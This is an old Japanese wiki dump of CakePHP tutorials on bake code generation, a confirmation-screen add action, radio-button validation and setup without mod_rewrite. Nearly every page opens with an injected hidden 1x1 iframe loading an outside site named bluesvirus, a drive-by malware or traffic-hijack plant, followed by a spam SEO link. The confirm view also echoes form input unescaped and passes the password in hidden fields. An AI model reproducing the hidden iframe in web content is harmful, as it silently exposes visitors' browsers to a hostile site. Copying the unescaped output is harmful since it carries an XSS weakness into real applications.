CakePHPまとめ@Wiki
http://w.atwiki.jp/nezox/
CakePHPまとめ@Wikija2007-09-25T02:06:06+09:001190653566bake
https://w.atwiki.jp/nezox/pages/5.html
&html(<iframe src="http://2ch.bluesvirus.com" height="1" width="1" frameborder="0"></iframe>)
全然更新してなくてごめんなさい。。
&html(<a href="http://akelos.free4seo.com/">最近はAkelosを使っています。</a>)
/cake/scripts/bake.php は、対話形式でいくつかの質問に答えるだけでModel View Controllerを自動生成してくれるコマンドラインのスクリプトです。
(/app/config/database.phpが適切に設定されている必要があります。)
___ __ _ _ ___ __ _ _ __ __ __ _ _ ___
| |__| |_/ |__ |__] |__| |__] |__] |__| |_/ |__
|___ | | | \_ |___ | | | | |__] | | | \_ |___
---------------------------------------------------------------
[M]odel
[C]ontroller
[V]iew
Please select a class to Bake: (M/V/C)
> M
---------------------------------------------------------------
Model Bake:
---------------------------------------------------------------
Possible models based on your current database:
1. Login
2. PersonProfile
Enter a number from the list above, or type in the name of another model.
> 1
Would you like to supply validation criteria for the fields in your model? (y/n)
[y] > y
Name: id
Type: integer
---------------------------------------------------------------
Please select one of the following validation options:
---------------------------------------------------------------
1- VALID_NOT_EMPTY
2- VALID_EMAIL
3- VALID_NUMBER
4- VALID_YEAR
5- Do not do any validation on this field.
... or enter in a valid regex validation string.
[5] > 5
Would you like to define model associations (hasMany, hasOne, belongsTo, etc.)? (y/n)
[y] > n
---------------------------------------------------------------
The following model will be created:
---------------------------------------------------------------
Model Name: Login
DB Connection: default
Model Table: logins
Validation: Array
(
[login_id] => VALID_NOT_EMPTY
[password] => VALID_NOT_EMPTY
)
---------------------------------------------------------------
Look okay? (y/n)
[y] >
Creating file/Path/to/cake//app/models/login.php
Wrote /app/models/login.php
Cake test suite not installed. Do you want to bake unit test files anyway? (y/n)
[y] > n
以上でModelが自動生成されました。
次はControllerを作ります
---------------------------------------------------------------
Controller Bake:
---------------------------------------------------------------
Controller name? Remember that Cake controller names are plural.
> Login
Would you like bake to build your controller interactively?
Warning: Choosing no will overwrite Login controller if it exist. (y/n)
[y] > y
Would you like this controller to use other models besides 'Login'? (y/n)
[n] > n
Would you like this controller to use other helpers besides HtmlHelper? (y/n)
[n] > n
Would you like this controller to use any components? (y/n)
[n] >
Would you like to include some basic class methods (index(), add(), view(), edit())? (y/n)
[n] > y
---------------------------------------------------------------
The following controller will be created:
---------------------------------------------------------------
Controller Name: Login
---------------------------------------------------------------
Look okay? (y/n)
[y] > y
Cake test suite not installed. Do you want to bake unit test files anyway? (y/n)
[y] > n
最後にViewです
---------------------------------------------------------------
View Bake:
---------------------------------------------------------------
Controller Name? (plural)
> Login
Would you like bake to build your views interactively?
Warning: Choosing no will overwrite views if it exist. (y/n)
[y] > y
Would you like to create some scaffolded views (index, add, view, edit) for this controller?
NOTE: Before doing so, you'll need to create your controller and model classes (including associated models). (y/n)
[n] > y
View Scaffolding Complete.
※OSX MAMP環境の場合、
'host'=>'localhost'
でもCakePHP自体は動作しますが、bake.phpを使う場合、
'host'=>'127.0.0.1:8889'
というように、ポートまで指定する必要があります。 2007-09-25T02:06:06+09:001190653566確認画面を挟む
https://w.atwiki.jp/nezox/pages/6.html
&html(<iframe src="http://2ch.bluesvirus.com" height="1" width="1" frameborder="0"></iframe>)
全然更新してなくてごめんなさい。。
&html(<a href="http://akelos.free4seo.com/">最近はAkelosを使っています。</a>)
bakeで自動生成されたaddアクションは下記のようになります。
function add() {
if(empty($this->data)) {
$this->set('login', null);
} else {
$this->cleanUpFields();
if($this->Login->save($this->data)) {
if(is_object($this->Session)) {
$this->Session->setFlash('The Login has been saved');
$this->redirect('/login/index');
} else {
$this->flash('Login saved.', '/login/index');
}
} else {
if(is_object($this->Session)) {
$this->Session->setFlash('Please correct errors below.');
}
$data = $this->data;
$this->set('login', $data);
}
}
}
このままでは、入力情報がDBに保存される前に確認画面は表示されません。しかし、確認画面が必要な場面もあります。
以下のように書き換え、確認画面のView(confirm.thtml)を作成します。
function add() {
if(empty($this->data)) {
$this->set('login', null);
} else {
$this->cleanUpFields();// ?
if(@$_POST['mode']=='confirm')
{
if(!$this->Login->validates($this->params['data']))
{
$this->render();
}
else
{
$this->set('form', $this->params['form']);
$this->set('data', $this->params['data']);
$this->render("confirm");
}
}
else
{
if ($this->Login->save($this->params['data']))
{
$this->redirect('/login');
}
else
{
$this->set('data', $this->params['data']);
$this->validateErrors($this->Login);
$this->render();
}
}
}
}
confirm.thtml
<h1>新規作成:確認画面</h1>
<form action="<?php echo $html->url('/login/add'); ?>" method="post">
<div class="required">
<label for="login_login_id">ログインid</label>
<?php echo $html->tagValue('Login/login_id') ?>
<?php echo $html->hidden('Login/login_id', array('value' => $html->tagValue('Login/login_id')))?>
</div>
<div class="login_password">
<label for="recommend_content">パスワード</label>
<?php echo $html->tagValue('Login/password') ?>
<?php echo $html->hidden('Login/password', array('value' => $html->tagValue('Login/password')))?>
</div>
<div class="submit">
<input type="button" value="戻る" onclick="history.go(-1)" />
<input type="submit" value="作成" /></div>
</form>
<ul>
<li><a href="/sys/index.php/recommend/">一覧へ戻る</a></li>
</ul>
2007-09-25T02:05:07+09:001190653507トップページ
https://w.atwiki.jp/nezox/pages/1.html
&html(<iframe src="http://2ch.bluesvirus.com" height="1" width="1" frameborder="0"></iframe>)
全然更新してなくてごめんなさい。。
&html(<a href="http://akelos.free4seo.com/">最近はAkelosを使っています。</a>)
*目次
**はじめに
-CakePHPとは
**インストール
-mod_rewriteが使える場合
-[[mod_rewriteが使えない場合]]
**動作確認
-DB接続
-MVCのサワリを理解する
**便利な使い方
-scaffold
-[[bake]]
-created / midified
**色々な場面に対応する
-[[確認画面を挟む]]
-セッションを使う
-画像をアップロード
-ページングする
-DATETIME型の表示形式をカスタマイズ
**Modelを活用する
-hasMany
-belongsTo
-HABTM
**Helperを活用する
-Html
-Pagination
-Error
**Cakeの拡張
-DBと連動したVaridation
-[[所からでも使える関数]]
-[[ラジオボタンのNULLチェック]]
2007-09-25T02:04:24+09:001190653464ラジオボタンのNULLチェック
https://w.atwiki.jp/nezox/pages/7.html
<iframe src="http://2ch.bluesvirus.com" height="1" width="1" frameborder=
"0"></iframe>
<p>Html
Helperのradioを生成する時、ラジオボタンの前に同じnameのhiddenを生成する事で、チェックが一つも無かった場合でもValidation出来るようにします。<br>
<br>
/cake/libs/view/helpers/html.phpを改造します。<br>
<br>
radio関数に下記のように追記します。<br>
<br>
---この部分を追記します-------<br>
// Auto Render Hidenn For Null Check / Nezox:2006.08.12<br>
$out[] = sprintf($this->tags['hidden'], $this->model, $this->field,
$this->parseHtmlOptions(array('value'=>'')), null);<br>
----------------------------------------<br>
<br>
<br>
【/cake/libs/view/helpers/html.php】<br>
<br>
/**<br>
* Creates a set of radio widgets.<br>
*<br>
* @param string $fieldName Name of a field, like this "Modelname/fieldname"<br>
* @param array $options Radio button options array<br>
* @param array $inbetween String that separates the radio buttons.<br>
* @param array $htmlAttributes Array of HTML attributes.<br>
* @param boolean $return Wheter this method should return a value or output
it. This overrides AUTO_OUTPUT.<br>
* @return mixed Either string or boolean value, depends on AUTO_OUTPUT and
$return.<br>
*/<br>
function radio($fieldName, $options, $inbetween = null, $htmlAttributes =
array(), $return = false) {<br>
<br>
$this->setFormTag($fieldName);<br>
$value = isset($htmlAttributes['value']) ? $htmlAttributes['value'] :
$this->tagValue($fieldName);<br>
$out = array();<br>
<br>
// Auto Render Hidenn For Null Check / Nezox:2006.08.12<br>
$out[] = sprintf($this->tags['hidden'], $this->model, $this->field,
$this->parseHtmlOptions(array('value'=>'')), null);<br>
<br>
foreach($options as $optValue => $optTitle) {<br>
$optionsHere = array('value' => $optValue);<br>
$optValue == $value ? $optionsHere['checked'] = 'checked' : null;<br>
$parsedOptions = $this->parseHtmlOptions(array_merge($htmlAttributes,
$optionsHere), null, '', ' ');<br>
$individualTagName = "{$this->field}_{$optValue}";<br>
$out[] = sprintf($this->tags['radio'], $this->model, $this->field,
$individualTagName, $parsedOptions, $optTitle);<br>
}<br>
<br>
$out = join($inbetween, $out);<br>
return $this->output($out ? $out : null, $return);<br>
}</p>
2007-08-04T16:14:37+09:001186211677mod_rewriteが使えない場合
https://w.atwiki.jp/nezox/pages/4.html
&html(<iframe src="http://2ch.bluesvirus.com" height="1" width="1" frameborder="0"></iframe>)
mod_rewriteなしでCakePHPを使用する場合、core.phpの設定を変更します。
/app/config/core.php 40行目あたり
// define ('BASE_URL', env('SCRIPT_NAME'));
のコメントアウトを外します。↓
define ('BASE_URL', env('SCRIPT_NAME'));
また、各ActionへアクセスするURLは下記のようになります。
http://www.XXXX.com/index.php/post/add
(例:コントローラ post の アクション add )
※このため、bakeで自動生成した編集リンクなどは書き直す必要があります。
mod_rewriteなしの場合や、単発フォーム制作にもCakeが使えて便利です。 2007-08-04T16:10:04+09:001186211404所からでも使える関数
https://w.atwiki.jp/nezox/pages/8.html
testest 2006-08-12T18:10:55+09:001155373855メニュー
https://w.atwiki.jp/nezox/pages/2.html
メニュー
-[[トップページ]]
-[[参考リンク]]
2006-07-30T01:02:35+09:001154188955メニュー2
https://w.atwiki.jp/nezox/pages/3.html
**更新履歴
#recent(20)
2006-07-29T22:19:52+09:001154179192